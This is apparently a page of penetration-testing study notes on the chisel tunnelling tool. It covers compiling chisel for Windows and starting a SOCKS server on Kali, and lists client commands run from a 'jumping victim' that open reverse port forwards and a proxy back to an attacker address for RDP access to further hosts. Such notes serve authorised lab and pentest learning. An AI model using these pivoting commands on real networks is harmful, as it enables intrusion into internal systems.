> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/network/windows-lateral-movement/chisel.md).

# Chisel

## Compile

{% code title="Linux" %}

```
sudo apt install golang
git clone https://github.com/jpillora/chisel.git
cd chisel/
go build
```

{% endcode %}

We can cross-compile chisel for other operating systems and architectures with the Golang compiler. e.g. 64-bit windows

{% code title="Windows" %}

```
env GOOS=windows GOARCH=amd64 
go build -o chisel.exe -ldflags "-s -w"
```

{% endcode %}

## Setup

### Server

#### Chisel SOCKS proxy server

```
./chisel server -p 8080 --socks5
```

#### Kali SSH SOCKS proxy server

{% code overflow="wrap" %}

```
sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config
sudo systemctl start ssh.service

ssh -N -D 0.0.0.0:1080 localhost
```

{% endcode %}

### Client (transfer complied .exe  to jumping victim)

providing the IP address and port of the server instance of chisel

```
chisel.exe client 192.168.119.120:8080 socks
```

## Usage

```
sudo proxychains rdesktop 192.168.120.10
```

{% hint style="info" %}
We can also use chisel with the classic reverse SSH tunnel syntax by specifying the -reverse option instead of --socks5 on the server side.

Start server listening on 8000:

`./chisel server -p 8000 --reverse`
{% endhint %}

From victim:

| Command                                                       | Notes                                                        |
| ------------------------------------------------------------- | ------------------------------------------------------------ |
| `chisel client 192.168.119.120:8000 R:8080:127.0.0.1:80`      | Listen on Kali 80, forward to jumping victim local port 80   |
| `chisel client 192.168.119.120:8000 R:4444:192.168.120.10:80` | Listen on Kali 4444, forward to next victim port 80          |
| `chisel client 192.168.119.120:8000 R:socks`                  | Create SOCKS5 listener on 1080 on Kali, proxy through client |

{% embed url="<https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html>" %}